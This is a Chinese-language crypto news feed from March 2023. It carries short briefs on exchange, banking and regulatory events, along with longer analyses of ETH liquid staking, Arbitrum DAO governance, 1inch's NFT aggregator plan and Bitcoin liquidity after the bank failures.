该报告称，数字货币有潜力成为传统货币的替代品。然而，金融市场的不完善限制了它们的潜在收益。在某种程度上，可能会出现一系列数字货币的发行，其中福利-稳定的权衡有利于数字货币，即使在竞争环境中数字货币的发行成本很高。 Coinbase将上线Arbitrum 据官方消息，Coinbase将增加对Arbitrum(ARB)的支持。如果满足流动性条件，交易预计将于2023年3月23日开始。一旦建立了足够的资产供应，ARB-USD交易对将分阶段开放交易。在某些司法管辖区，ARB交易可能会受到限制。Coinbase将ARB标记为“实验性”资产。 Xapo Bank成为首家支持USDC存取款的持牌银行 据美通社报道，总部位于直布罗陀的比特币托管银行Xapo Bank表示，它将与稳定币发行商Circle合作提供USDC存取款服务。Xapo将按照1:1的汇率提供USDC与美元的转换，并支持USDC转账。Xapo Bank的所有USDC存款都自动转换为美元，存款年利率为4.1%。Xapo表示不提供贷款业务，客户资金将全部作为准备金并投资于短期流动资产。该银行向会员收取150美元的管理费。Xapo Bank是一家完全持牌和受监管的银行，是直布罗陀存款担保计划(GDGS)的成员，可为最高10万美元存款提供担保。 Kraken：将从3月27日起暂停ACH存取款功能 据CoinDesk报道，加密交易所Kraken将从3月27日起暂停自动清算中心(ACH)的存取款功能。在Silvergate Bank倒闭后，该公司正在寻找新的银行合作伙伴。Kraken表示，其他服务不会受到这一变化的影响。一旦找到替代银行，该交易所将恢复ACH存取款服务。 重要数据 数据：Coinbase CEO及其他高管过去30天已抛售价值740万美元的股票 根据Dataroma数据显示，加密货币交易所Coinbase内部人士（包括首席执行官Brian Armstrong和其他高管）在过去30天内抛售了价值约740万美元的公司股票，其中Brian Armstrong抛售了价值580万美元的股票，他在3月3日至15日以356万美元出售了大约6万股股票，3月21日以224万美元出售了约3万股股票。与此同时，其他Coinbase公司高管（包括首席人事官Brock Lawrence、首席会计官Jones Jennifer和首席法务官Grewal Paul），累计出售了价值168万美元的股票。 Delphi Digital：Arbitrum分配模型中有超13.5万个女巫钱包 加密研究机构Delphi Digital在社交媒体发文称，还有不到24小时Arbitrum将启动ARB治理代币空投，有约62.5万个钱包符合条件，在Arbitrum的分配模型中有超过135,000个钱包被识别为女巫钱包。根据此前已披露的分配方案，Arbitrum将把代币供应量的12.75%，即12.75亿枚代币分配给社区成员和生态系统中的DAO。 欧洲加密货币初创公司在2022年筹集了创纪录的57亿美元风险投资资金 加密货币风险投资公司 RockawayX 和初创数据提供商 Dealroom 的一份新报告显示，欧洲加密初创公司去年筹集了创纪录的 57 亿美元风险投资资金，高于 2021 年的 50 亿美元。  ( 5 min )
    Block(SQ.N)开盘大跌超18%
    PANews 3月23日消息，行情显示，Block(SQ.N)开盘大跌超18%，兴登堡称发布做空报告，称其严重夸大了真正的用户数并低估客户获取成本。  ( 4 min )
    Bankless：Do Kwon在黑山被捕
    PANews 3月23日消息，据Bankless报道，Terra联合创始人Do Kwon在黑山波德戈里察被捕，但Bankless没有引用消息来源。 黑山内政部长在推特表示，黑山警方拘留了一名疑似通缉犯之一的韩国公民 Do Kwon，正在等待官方确认身份。他因为伪造证件在波德戈里察机场被拘留，韩国、美国和新加坡也提出了拘留要求。  ( 4 min )
    Arbitrum基金会及其浏览器网站因网络拥堵宕机
    PANews 3月23日消息，Arbitrum 代币 ARB 认领已到达预定区块高度，但当前基金会网站因网络拥堵宕机，显示 429 错误。同时，Arbitrum 浏览器网站也显示“该服务不可用。”部分用户反馈可打开网站。  ( 4 min )
    ARB空投现已开放申领
    PANews 3月23日消息，以太坊浏览器显示，现已达到区块高度16890400。按Arbitrum基金会的官方说明，现已达到空投申领开放时间。ARB 不能在以太坊主网上铸造或领取，只能在 Arbitrum One 上铸造和领取。  ( 4 min )
    ETH 2.0和LSDFi建立的国债和Cryptopia
    作者：CloudY, Vincero 编辑：Vincero, YL 审核：Natalia 从LSD火热至今，有很多优秀文章对LSD和DVT机制做了讲解： LidoFinance的先发优势和潜在风险，以及v2将会给Lido带来的质变。 SSV Network作为LSD底层架构捕获价值的能力与其技术门槛。 Frax Finance对流动性和收益性平衡的创新。 LSD质押凭证的高抵押率循环借贷带来的高资金利用率。 Eigenlayer的Re-Staking为ETH质押收益带来新源头，也为项目安全性提供保证。 本文将从另一个角度切入，给LSD赛道提出一个新方向。 首先本文对当前LSD项目(非DVT和Re-Staking)进行了Mapping，对现有质押机制进行了简单归类。 市场份额为图片项目内Staked ETH占所有Staked ETH比例 ETH2.0 质押数据 ETH2.0质押的上线为链上带来了如国债一般稳定且可信的收益来源，当前apr为4.7%。由于ETH2.0质押奖励来自于Gas fee、MEV和ZK证明等，所以只要ETH还在运行，那么这个奖励就一定存在，只会因为质押节点增加而相对减少收益率。因此，鉴于ETH在所有公链的统治率，ETH2.0质押可以说是如国债般的存在。所以我们可以借鉴国债的机制和吸储方案来提供未来LSD的发展方向。 本文根据各类LSD项目的特性，总结了当前LSD的5种方案： 中心化交易所收集用户ETH，自己搭建/委托第三方组件验证节点，中心化运行节点并质押用户的ETH。中心化的操作可以最大程度的减少中间商赚差价，但这需要用户的最大信任。根据Binance描述其apr约在10%左右，十分便捷，并且不收取手续费，而用户在质押后可以获得BETH作为质押证明。交易所依靠自身流量优势，可以吸纳大量中心化的用户，因此Coinbase的cbETH占据了14.87%的ETH LSD市场份额，位居第二。 2.Rocket Pool的去中心化方案： Rocket Pool通过智能合约执行ETH的收集、质押和分发，并基于DVT技术将验证节点服务商去中心化，实现了Pool Staking形式最大程度的去中心化。虽然Rocket Pool也是托管方案，但是智能合约和DVT的存在让其更加去信任化。这也是Kraken被Ban之后， $RPL 大涨的原因。但去中心化的代价是激励额15%的佣金，由此看来4.30%的APR也就不那么的具有竞争力。因此，Rocket Pool凭借其去中心化的rETH获得了ETH LSD 5.61%的市场份额，位居第三。 3.Lido Finance的质押凭证生态： Lido Finance借助其先发优势，与众多DeFI项目进行合作，建立了stETH的丰富生态。目前在各大主流DeFi协议都能看到stETH作为对象的金融服务，大量的被接受的stETH必然会是大部分质押用户的首选，因为这意味着更为灵活的策略。 如 Aave 允许抵押stETH借出主流资产，在E-mode模式下抵押率能达到90%，当前Aave中共有价值$1.63B的991.91k枚stETH被抵押，占据stETH流通量的17.7%。 而CurveFinance 上也可以使用stETH-ETH组成 LP并质押LP Token，赚取交易手续费、CRV激励和LDO激励。当前共有535.3k枚stETH在Curve被组成LP，占据stETH流通量的6.2%，这部分LP共可以获得4.9215%的年化收益。 用户还可以在Curve组完LP后，去Yearnfinance 上质押stETH LP 获得4.52%的年化收益。 因此，尽管Lido Finance v1是相对中心化的选择质押服务商，同时还有10%的服务费，但仍旧无法阻挡Lido一骑绝尘的市场份额。 4.Frax Finance的流动性与收益性的平衡： 不同于之前的方案，Frax Finance建立一个平衡流动性和收益性的方案。用户质押ETH参与验证节点，获得frxETH作为凭证，但frxETH并不捕获质押奖励，所有的质押奖励都发放给sfrxETH，用户需要再次质押frxETH才能获得sfrxETH。 当前共有108.23k枚frxETH被铸造，只有59.4k枚frxETH被进一步质押换取sfrxETH。因此108.23k枚ETH的质押奖励都集中发放给了sfrxETH，给sfrxETH带来了6.43%的年化收益。 Frax凭借其在Curve统治率向frxETH池子提供5.604%APR，共有39,197枚frxETH在Curve组成LP。 frxETH和sfrxETH的收益都远超Lido的4.5%和RPL的4.28%。从而实现33%以上的月度ETH质押量增长，跃居ETH LSD TVL第四。 5.Stader的跨链质押 Stader做为LSD板块的老大哥，在ETHX还没上线的时候就在总LSD项目 TVL排第四。Stader支持多链的PoS质押，目前支持Polygon、Hedera、Fantom、BNB、Near、Terra 2.0。很快就要上线ETH，并计划上线Avalanche和Solana。 Stader的特殊点在于它允许用户在ETH网络质押Matic获得MaticX。如果ETHX也能用这个方案，就可以让跨去其他链的ETH回流ETH网络，等于开辟ETH LSD市场份额争夺的新战场。 国债机制 国债以国家信用背书，给出长期且稳定的收益，各国通过相应机制吸引资金购买国债，并建立基于国债的衍生市场扩大国债使用场景。而ETH2.0质押也与之类似，以ETH公链的运行作为背书，给出基于链上活动活跃度的稳定收益，LSD项目则使用各种机制吸引市场上的ETH来质押，并建立相应的衍生市场来扩大其质押凭证的使用场景。因此，了解国债将可以帮助我们寻找LSD赛道的潜在方向 具有不同到期日 建立国债赎回机制，解放国债流动性 引入多种发售平台 提供回购与逆回购，引入金融借贷方案 建立健全国债衍生品市场   基于上述的国债机制我们可以得到两个LSD可以借鉴的方案： 大家都知道上海升级后，验证节点被允许退出，用户可以提取之前质押的ETH，但是每个区块只有16个节点可以退出，其中被质押的ETH才能被提取，与此同时只有与退出节点数量相对的节点可以进入，这是为了保证网络的稳定运行。而建立ETH质押的到期日则可以帮助维持ETH网络的稳定，如国债一般，大家可以直观的了解未来的不同时刻将会有多少ETH可以被提取，并针对其做出应对措施。       此外，在建立了到期日之后，将会有更丰富的LSD衍生策略。无息债券和债券息票就是其中之一： 以Pendle Finance为例，其可以使用stETH等ETH质押凭证生成：代表着凭证本币的代币 - PT 和 代表着凭证收益的代币 - YT，而他们都是具有到期日的。只有在到期日之后，PT代币才可以换回一枚完整的本币，YT代币才能取回一枚本币在这期间产生的收益。 到期日的不同意味着本币代币pt折价的不同，更长的到期日意味着更高的折价，所以会随着接近到期日减少折价。同时也意味着收益代币内在价值的不同，更长的到期日代表着更多的收益，所以会随着接近到期日而降低价格。 基于PT和YT，用户可以建立围绕LSD凭证的投资策略： 购买折价的PT，等待到期日获得等量的ETH质押凭证，等于做多该凭证 卖出/质押YT，锁定未来质押奖励，等于做空质押奖励 买入折价的YT，等到到期日获得全额的质押奖励，等于做多质押奖励。 组建PT与ETH质押凭证的LP，获得PT随着时间的价值回归、LP手续费、ETH质押凭证的质押奖励、LP质押激励多种稳定收益。 组合策略：到期日为ETH质押提供了多种投资策略。 当DeFi协议能直接接入类似Pendle的具有到期日的ETH质押凭证协议，如在借贷时无缝质押ETH并设置到期日，就能增加用户存款的同时提升ETH质押量，即保证了ETH运行的安全，又增加了用户收益。这相当于为ETH2.0质押增加了多个参与渠道。 事实上，如Lido、Rocket Pool等协议直接参与ETH的质押，算是第一层协议。而SSV等DVT协议以去中心化的形式提供验证节点运行属于第零层。基于Lido等质押凭证运作的协议则可以看做是第二层，即Layer2。例如上述的Pendle，还有Aura、Curve、YFI、Aave等。当前的LSD板块，Layer1已经十分内卷，而Layer2才刚刚开始。 基于上述的到期日和零息债券与债券息券，我们将可以建立更复杂的策略和产品，启动Layer2内卷。传统债券市场中，保本浮动收益型基金占据了大量市场份额，2022年下半年保本型基金发行份额占了新法基金总额的19.05%，最高的月份占据了63.88%。而这一类基金在链上却十分少见，所以这将会是一个基于ETH LDS万亿市场之上的新机会。 保本浮动收益型基金本质上就是花一部分钱购买与本金等量的零息债券，在零息债券到期后将可以获得等额的本金。而购买零息债券后剩余的资金就可以做高杠杆/高收益率的投资，来实现保本的浮动收益。 当然，高杠杆投资有很多，但期权是传统市场中常用的高杠杆交易手段。由于高回报率往往伴随着高亏损率，所以这一类操作通常需要一定的主观判断。相比于主观交易的高收益，为了保证链上透明，或许需要牺牲部分收益率，使用相对低风险高确定性期权策略会更合适。例如，蝶式策略会比跨式要更可控，在使用期权作为增值方式时，蝶式策略将会是一个不错的选择。但，在牺牲一定去中心化的情况下，主观交易将可以为用户带来更高的收益率，或许也能够被用户接受。 LSD作为一个万亿市场，在已经有Layer1的Lido、Rocket Pool等众多协议争夺市场份额后，还有Layer0的DVT协议和Re-Staking的EigenLayer等探索其他层级的市场。而Layer2的质押凭证衍生品市场还处于早期阶段，拥有着更大的潜力。不论是具有到期日的零息债券和债券息票，还是保本型浮动收益基金，又或者是YFI做的LSD指数，都是在提供更丰富的投资策略，放大资金利用率和收益率，相信会有更多有趣的项目出现。未来一定会有DAO选择主观的高风险策略来实现保本浮动收益基金的高收益。而保本型浮动收益基金也只是抛砖引玉，一定会有更高明的方案。 期待LSD Layer2的发展，这将会是一个万亿市场之上的万亿市场。 基于LSD到ETH2.0，我们聊到了国债，这就又联想到了Crypto和国家的未来发展形态，让我们先来看一些相关的定义： “网络国家是目标高度一致的网络社区，有采取集体行动的能力，能够在世界各地众筹领土，最终获得既有国家的外交承认。”——Balaji Srinivasan “网络国家就是一个社会网络，它有着道德层面的创新、国民意识和公认的创始人；其集体有行动力，成员个人则文明谦恭；它集成了加密货币，基于共识设立政府，权力由社会智能合约限制；众筹而来的列岛是其真实领土，首都则是虚拟的；通过链上普查来证实其人口、收入和地产规模，使其足以赢得某种程度的外交承认。”——Vitalik Buterin 随着人类文明和社会的发展，继工业革命和信息革命之后，互联网的发展给人们的生活带来了巨大的冲击和改变，在最原始的非洲部落，人们也可以拥有一部智能手机接触到网络。互联网的革命实现了人类信息的互联，极大提高了信息传递的效率，在有了这些基础设施之上，比特币和区块链的革命，带来了人类价值的互联，极大的提高了价值交换的效率。而ETH生态的蓬勃发展，再次带来了价值应用的创新和奠定了未来“国家”意识形态的基础。 我们来畅想一下在未来是一个什么样的世界：通过互联网，人们超脱了种族，语言，国家，地理限制，通过共识建立了社区（as DAO）；人们的价值是存储在BTC上，真正的去中心化，公开透明，不可篡改，最公平公正的货币；人们的交易也不再需要“法定货币”，直接通过crypto currency就能实现在全世界任何地方最高效的交易；社会的规则，权利和义务通过ETH智能合约来执行，不受人为干预；人们通过自己的价值观和偏好的意识形态可以选择想要加入的社会组织，逃出原生政治宏大叙事的裹挟；也许这也可能是人类从碳基文明迈向硅基文明的第一步，AI的革命就让我们拭目以待吧。 Cryptopia，for Love & Peace。   Reference [1]如何质押你的ETH，在保护以太坊的同时赚取奖励：https://ethereum.org/en/staking/ [2]DefiLlama，ETH流动性质押衍生品，总价值锁定的ETH LSD：https://defillama.com/lsd [3]Kodi，顶级 LSD解决方案评估：Lido、Frax和Rocket Pool优缺点分析，深潮TECH FLOW，2023，30（1）：https://www.techflowpost.com/article/1981 [4]Riddler，一文了解Stader：LSD+真实收益会推动代币价值的大爆发吗？，深潮 TECH FLOW，2023，18（1）：https://www.techflowpost.com/article/1953 [5]CapitalismLab，LSD高阶玩法及其本质，BlockBeats，2023，06（3）：https://www.theblockbeats.info/news/35245 [6]中国-政府债劵，英为财情：https://cn.investing.com/rates-bonds/china-government-bonds [7]期权策略，期权波动率策略--蝶式组合，CME Group芝商所：https://www.cmegroup.com/cn-s/education/courses/option-strategies/option-butterfly.html  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.23）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    BH Digital已为其Nova Digital Opportunities基金筹集900万美元
    PANews 3月23日消息，据TheBlock报道，对冲基金 Brevan Howard 的数字资产部门 BH Digital 已为其分支机构 Nova Digital 的 Opportunities 基金筹集了 900 万美元。Nova Digital 由 BlackRock 和 Dragonfly Capital 资深人士 Kevin Hu领导 ，他直接向 BH Digital 的首席执行官 Gautam Sharma 汇报。 Kevin Hu 最近从 Dragonfly Capital 加入 BH Digital。  ( 4 min )
    一文读懂ARB治理代币的价值
    原文：《砸盘ARB前务必了解的Arbitrum DAO治理》 作者：Biteye 核心贡献者 明月 编辑：Biteye 核心贡献者 Crush Arbitrum Foundation 宣布将于 3 月 23 日向其社区用户空投$ARB 治理 Token，并启动其第 3 层开发工具 Arbitrum Orbit，这使 Arbitrum 离完全去中心化又近了一步。 目前，已经有很多报告就$ARB 的估值展开了详尽的分析，若有需求可以参考 Biteye 公众号 3 月 17 日的推送：《ARB代币合理估值是多少？与Optimism进行对比分析》 本系列将侧重在与空投公告一同披露出来 Arbitrum DAO 文档，介绍 Arbitrum DAO 治理、$ARB 的赋能与技术发展规划，从基本面的角度辅助大家决策是开盘卖出抑或是继续持有 $ARB。本文先从 DAO 治理的角度切入。 Arbitrum 是一个 Layer 2 协议，可以使以太坊交易更快、更便宜。开发者使用 Arbitrum 构建用户友好的去中心化应用程序（dApps），这些应用程序可以利用 Arbitrum Rollup 和 AnyTrust 协议的可扩展性优势。 2021 年，Arbitrum 推出了 Arbitrum One。随后迅速推出了专门为超低成本交易而构建的独立 AnyTrust 链——Arbitrum Nova。 2022 年 8 月，在奥德赛中暴露性能问题后，Arbitrum One 升级到了 Arbitrum Nitro 堆栈，将其扩展能力提高了 7-10 倍。 注：Arbitrum 三个版本分别为 One、Nitro 与 Nova。其中，Nitro 是 One 的技术栈升级，并不是独立于 One 的网络，Nitro 升级后全称还是 Arbitrum One，而 8 月初上线的 Nova 是独立于 One 的网络； One/Nitro 跟 Nova 最核心的不同点是数据可用性，One 的数据可用性在链上（以太坊主网），Nova 的数据可用性在链下（数据可用性委员会 DAC）。 $ARB 治理代币的分配使得对于 Arbitrum One 和 Arbitrum Nova 及其底层协议进行治理变得去中心化。 $ARB 代币可用于投票支持或反对由 Arbirtrum DAO 提出的治理提案，让 $ARB 持有人共同塑造 Arbiturm 协议和链的未来。代币持有人还可以将他们的投票权委派给代表。 $ARB 同大多数代币一样被叫做治理代币，也就限定其主要功能是治理。下面先回顾一下传统的 Web2 治理与 Web3 治理的过程来进行比较。 传统上，Web2 技术是由董事会管理的公司建立的。这个董事会通常是由股东选举产生的一小群人。当需要做出公司决策时，董事会成员会开会并投票表决。 董事会的决策协议并不总是对股东可见，尽管董事会有向股东承担责任的义务，但股东必须信任董事会。这种信任关系听起来有些反直觉，但这是法定的，并受到法律强制执行。 而 Web3 技术（如 Arbitrum）通常最初由管理着一个董事局的公司构建而成。一旦这些技术实现了产品市场适配性，并形成了用户和利益相关者社区，则可以逐渐分散该公司的决策权力。 这就是所谓的渐进式去中心化，也是 Arbitrum 正在做的工作。渐进式去中心化通常通过以下三个关键要素来促进： 1）DAO 组织 Arbitrum DAO（分散自治组织）是一个新实体，具有对 Arbitrum One 和 Arbitrum Nova 链及其基础协议进行决策权力。 该 DAO 遵守《Arbitrum DAO 章程》，该章程规定了 DAO 运作方式，并在多个社交契约中加以确立。 2）治理代币发行 在治理代币发行后，持有治理代币的成员将可以成为 DAO 中的成员，在 DAO 提案上可以进行投票表态支持或反对等操作。 Arbitrum 的治理代币为$ARB，该代币初始发行将通过 3 月 23 日的空投分发给符合条件的钱包地址（用户）。 3）代码 DAO 治理通常借助一系列开源智能合约来执行特定决策以维护协议的发展。这些无需信任的智能合约将用于逐步替换传统存在不确定性的股东与董事们之间的信赖关系。 Arbitrum DAO 使用智能合约来编码 The Constitution of the Arbitrum DAO（Arbitrum DAO 章程）。 在参与 Arbitrum DAO 时，代币持有者可以选择直接对提案进行投票或将其投票权委托给代理人。 代理人是 Arbitrum DAO 的成员，他们被选举出来代表其他代币持有者行使投票权。 这点很好理解，类比持有人是上市公司的股东，他们并没有时间精力事无巨细地了解每一个提案的内容，那么可以把手中的投票权赋予指定的董事来行使自己的投票权。 代币持有人可以找到一个与自己信仰和价值观相仿的用户作为代理人，面对大多数不重要的议案，代理人大概率可以做出与代币持有人一致的选择，如此可以节省大量时间。 而且，已经委托其投票权的代币持有人随时都可以撤销此项授权并收回自己的投票权，在面对重要提案时代币持有人可以亲自投出代表自己意志的一票。 关于具体的操作流程，Arbitrum DAO 使用 Tally 来促进委派过程，委托和投票的操作都可以通过 Tally 来完成。 https://www.tally.xyz/gov/arbitrum 用户随时可以更改或撤销所作出的任何一次授权，并可按比例向多个候选人分配投票权。 Arbitrum 作为一条刚发行代币的公链（L2 & L3），不出意外未来会有大量的空投机会，参与治理活跃度一定会是主要的资格筛选指标之一。 所以如果想要长持$ARB，一定要进行投票，或者把投票权代理出去。按照此前 Cosmos 生态治理空投的经验，凡涉及到为发币优秀项目方的议案尽量选择通过，很有可能会有意外之喜。 在 Arbitrum 的治理体系里，还有一个「链所有者」的概念，可以理解成拥有超级权限的管理员，即具有升级 Arbitrum 核心协议合约和设置各种系统参数的能力的实体。 我们先要明确的是链所有者并不是严格属于 Arbitrum 协议的一部分，实际上是链的管理员，负责管理如何对系统进行更改。 更具体地说，链的所有者可以修改核心系统参数、暂停传入交易，并且最重要的是更新定义和执行核心协议的任何合约。 有些用户认为为区块链留下管理员权限犹如银行金库预留了后门，并不符合区块链精神，但对于 Arbitrum 来说管理员是必要的： 首先，系统需要不断升级，Arbitrum 已经经历了几次这样的升级（最显著地从「Arbitrum Classic」技术堆栈演变为 Arbitrum Nitro），随着技术进步继续发展，可能会出现无法预料的情况。 此外，如果在 Arbitrum 代码库中发现关键错误，则可以用管理员权限升级以修复它。 最后，也是无法避免的情况，Ethereum 主网还在不断开发中，如果主网发生硬分叉（升级）则需要管理员来保持保证 Layer 2 的兼容性。 引入$ARB 治理代币为使用所有者权限升级协议提供了去中心化的能力。 此轮代币空投标准透明，并设有单个地址上线，尽可能公平地分散所有权。目标是将所有权分散到具有对 Arbitrum 生态系统有利、以及地域分布和背景多样性的各方手中。链上所有者转让给「Arbitrum DAO」，即$ARB 代币持有人的集体。 因此在 Arbitrum DAO 成立后，目前协议升级可以通过两种路径进行。 第一种是去中心化升级路径，仅限 DAO 在整个过程中执行每个步骤。提出升级建议→公开讨论→投票并最终激活它。Arbitrum 治理的创新点正在于此，在去中心化升级过程很多重要的属性都受智能合约层面强制执行，这些任何步骤都不需要授权方，DAO 本身可以完成整个过程。 第二个升级路线由安全委员会（Security Council）负责，这一路线与第一个路径类似，但区别是它允许安全委员会（一组经过授权的公开命名实体）在特定情况下跳过某些步骤。 尤其是在紧急情况下，安全委员会有能力直接升级协议而不延迟。 这是保护应对紧急情况所必需的关键角色，例如发现可利用漏洞等情况，在这种情况下，通常缓慢的治理路径与维护协议安全会存在两个矛盾点： 1）如果存在可以被利用的重要漏洞，则在危险消除之前将其公开发表到公共治理论坛上会造成更严重后果，所以此类安全漏洞修复应低调进行。 2）危害安全的漏洞修复应该立刻生效，不应具有典型 DAO 治理数周讨论投票的延迟时间。 从中我们可以看出安全委员会权力十分大，所以 Arbitrum DAO 章程严格限制安全委员会运行机制，安全委员会只有在必要时才能使用其权力，并在使用其权力时发布透明度报告，并且为了制约安全委员会，DAO 每半年就将重新选举安全委员会成员。 未来 Arbitrum 治理也将进一步向着治理过程去中心化探索，力求找到减少甚至消除安全委员会的办法。 根据文档中提到，这些问题短时间并不容易找到解决方案，并且随着 Arbitrum 技术不断成熟和各种去中心化状态的风险情况发生变化，去中心化治理问题会持续成为社区内活跃讨论的话题。 待 23 日空投后，Arbitrum 的治理权将正式转移到 DAO 手中，正式迈向去中心化治理的第一步。  ( 5 min )
    1inch将入局NFT交易平台，先行者们交易表现如何？
    NFT交易市场将再迎新选手，DEX聚合器1inch近期发起了创建NFT交易聚合器的提案投票，不出意外或以高票通过。截至发文，1inch发起的提案支持率已高达97.8%的支持率，投票将于3月26日结束。 随着Uniswap、0x、SushiSwap、1inch等主流DEX已经或即将入局NFT交易市场，DEX新一轮攻防战已经开启？ 为了保持在DeFi领域的竞争力，1inch社区发起创建一个无平台费用的NFT市场聚合平台提案。Iinch认为，成功的社区市场可为其生态系统和DEX聚合器产品带来流量，其希望通过构建具有丰富用户体验的1inch原生市场来降低社区成员的费用，并利用自身在DeFi领域的优势在DeFi、NFT和Web3生态来获取更为广泛的市场份额。 该提案指出，当前NFT的交易量已较2021年和2022年的NFT牛市出现了明显的下降，同时Blur等相关挖矿奖励的NFT平台已经抢占了销售额和市场份额。而NFT交易聚合器有效性的最佳例子则是在2021年和2022年的牛市期间，当时市场份额主要分布在Gem和Genie（现在已分别被OpenSea和Uniswap收购）上。 不过，这种单纯通过聚合交易的方式并没有完全解决NFT流动性问题，特别是长尾资产持有者缺乏交易动力，而Blur、X2Y2等交易挖矿的激励方式进一步赋予了资产交易的流动性。 虽然在1inch看来，现阶段的NFT市场极具挑战性，但其DEX聚合器在发布之前也面临同样问题。1inch希望通过在NFT聚合平台上引入大型做市商作为NFT做市商，并通过将限价单功能、额外产品重叠和与现有网络进行连接，来为NFT创造更多的流动性进并推动做市商更加去中心化。 1inch的NFT市场聚合器旨在为买卖与交易NFT提供一个综合聚合平台，试图通过聚合各种市场列表来简化购买和管理NFT的过程，NFT市场在MVP阶段的所有交易与上市服务费将归入DAO财库。同时，该聚合器还提供高级搜索和过滤选项功能，可帮助用户根据特征类型、地板价、稀有度和创建者等详细信息找到特定的NFT。此外，1inch还计划提供一个统一钱包，允许用户在多个市场存储和管理他们的NFT。 而考虑到1inch的现有平台，NFT聚合器还将允许用户将他们的NFT与其他加密货币交换，比如以太坊和任何其他ERC-20代币，旨在为NFT市场提供了更多流动性，并为投资者提供一条兼具去中心化和安全的资产交易路径。 当然，要想打造竞争力就必须与X2Y2等竞争对手的费用持平甚至更低，该NFT市场聚合器将不收取平台费用，且将支持1inch、OpenSea、X2Y2和Looksrare。同时，1inch还将利用该协议的限价单协议（1inch的无Gas限价单功能允许用户设定特定价格目标和交易条件进行swap，当市场价格与设定的数据匹配时便可完成交易。）为NFT领域带来真正的限价单，此功能同样不收取任何额外费用。 举个例子，当Bored Ape Yacht Club NFT持有者想出售手里的NFT资产时，在价格未达预期且避免因提前上市产生额外的深度和买入墙的情况下，NFT限价单功能可允许持有者设定在任何理想价格的情况下自动上架。再例如，当用户持有的NFT正处于崩盘，且其无法使用互联网，就可通过创建止损限价单让其NFT资产在通过TWAP计算的地板价触及时自动上架。 1inch NFT市场聚合器的技术支持则是由全栈式Web3.0解决方案Solidity.io提供，并进行了开源，旨在保持社区的安全性、去中心化和透明度。Solidity.io专注于支持一些最大的品牌、协议和初创公司开发Web3.0的软件解决方案，是个活跃的DAO参与者，已参与了多个DAO的创建，其中包括知名的ApeCoin DAO。 随着NFT市场规模与日俱增，且加速渗透至更大范围的用户群体，越来越多机构加快了入局NFT领域的步伐，其中就包括不少DEX平台。借助DeFi领域的优势，这些DEX在NFT领域表现究竟如何？ Uniswap 作为DEX龙头项目之一，Uniswap于2022年6月宣布收购NFT聚合市场Genie，并在几个月后正式上线，支持OpenSea、X2Y2、LooksRare、Sudoswap等平台。不过，DEX“顶流”Uniswap在NFT领域的表现却不尽人意。NFTScan数据显示，截至3月23日，Uniswap NFT市场上线至今仅产生超4900 ETH的交易额，交互钱包数仅2.8万，NFT交易数量约3万个。尤其是今年以来，日交易量大部分不足100 ETH，近期更是仅为个位数。 不过，Uniswap似乎意识到自身吸引力不足，开始进行功能优化。比如，近期Uniswap上线了“使用任意ERC20代币购买NFT”功能，未来版本还将支持把多个ERC-20代币捆绑到一次购买中。 0x 0x是一种开放、以太坊上支持点对点资产交换的协议，它能够在以太坊网络中实现DeFi应用。NFTScan数据显示，截至3月23日，0x的总交易额已超4200 ETH，NFT出售数量约5.2万个，交互钱包数超6.5万。整体来看，0x的日交易量基本均为个位数。 此外，SushiSwap此前也宣布推出去中心化品牌授权和孵化器框架Sushi Studios也计划在第一季度推出NFT市场。 整体来看，现阶段这些DEX尚且不能成为NFT的流动性释放利器，而1inch入局后是否会有所改变，一切还需等其正式上线后才能知晓。  ( 4 min )
    比特币与流动性问题：银行危机引发的“牛市陷阱”？
    作者：Genesis Trading 前研究主管Noelle Acheson 编译：比推BitpushNews Mary Liu 三年前的这个周末，市场摇摇欲坠，标准普尔 500 指数下跌近 17%，道琼斯工业平均指数创下有记录以来最大的单日跌幅，比特币 (BTC) 暴跌超过 50% 至略低于 4,000 美元，随后小幅回升。全球 COVID-19 病例数量激增；纽约市关闭了所有酒吧、餐馆和学校；一切看起来糟透了。 美联储的金融机器开始运转。2020年 3 月 15 日，美联储将基准利率下调 100 个基点至几乎为零，并承诺将其债券持有量增加至少 7000 亿美元，伴随着“我们将不惜一切代价”的消息，货币政策奏效了。全球经济摇摇欲坠，步履蹒跚，但金融市场却飙升。 那一周创造了许多历史。它还在 Twitter 上掀起了一股伪病毒学家的浪潮，“专家们”试图让人们“了解” COVID 的每一个细节。如果你过去一周逛过 Twitter ，你会注意到新一波的流动性“专家”告诉人们，美联储过去几天的行动标志着量化宽松 (QE) 的回归和/或政策转向。 2020 年，越来越多的人养成了从社交媒体（如Twitter）获取新闻的习惯，无论质量如何。快进三年，什么都没变：新的流动性“专家”正试图教育真正的专家，虚假与真实混合在一起，希望、不信任和困惑等复杂情绪令人不安。 撇开肤浅的社交媒体分析不谈，三年前的事件也让我们在更严肃的层面上为今天正在经历的事情做好了准备。 美联储在 2020-2021 年向经济注入的流动性创造了一个宽松的货币环境，推高了资产价值，为初创企业提供了风险投资资金，并为银行资产负债表注入了低收益的政府债券和一些风险较高的证券，它还最终导致消费价格出现 40 多年来最大幅度的上涨。 这反过来又引发了自 1980 年代以来最快的加息周期，导致资产价格暴跌，并破坏了银行资产和负债之间的平衡。随着大流行引入前所未有的刺激措施，这场始于 2020 年的危机几乎在三年后的今天进入了一个新阶段，三个美国金融机构在一周内关闭，一个拥有 166 年历史的老牌银行瑞士信贷居然被合并了。 正如在面对银行系统压力时往往会做的那样，美联储再次采取行动。为了提供更多资金来满足取款，两个星期前，它宣布启动一项名为银行定期融资计划 (BTFP) 的新融资机制。这使银行能够将政府债务作为抵押品存入，以换取 100% 面值的贷款，即使抵押品的市场价值要低得多。 这是加密货币市场开始沸腾的时刻。从 3 月 10 日星期五的局部低点 19,700 美元开始，BTC 在九天后继续飙升 42% 至超过 28,000 美元。股票和债券市场也出现反弹，但相比之下涨幅微不足道。加密 Twitter 庆祝货币紧缩的结束、新量化宽松政策的开始和新一轮牛市的到来。 加密资产市场的情况确实看起来有点积极，但原因比“量化宽松政策回来了”更复杂。 QE 涉及美联储直接购买证券，这还没有发生。 然而，BTFP 是一种货币宽松政策。 美联储以价值较低的债券按面值放贷，实质上是提高了债券的全部价值，债券的市场价值与美联储将借出的 100% 面值之间的差额是系统中的新资金。 根据美联储上周四发布的一份报告，到目前为止，已经使用了 119 亿美元的新工具。 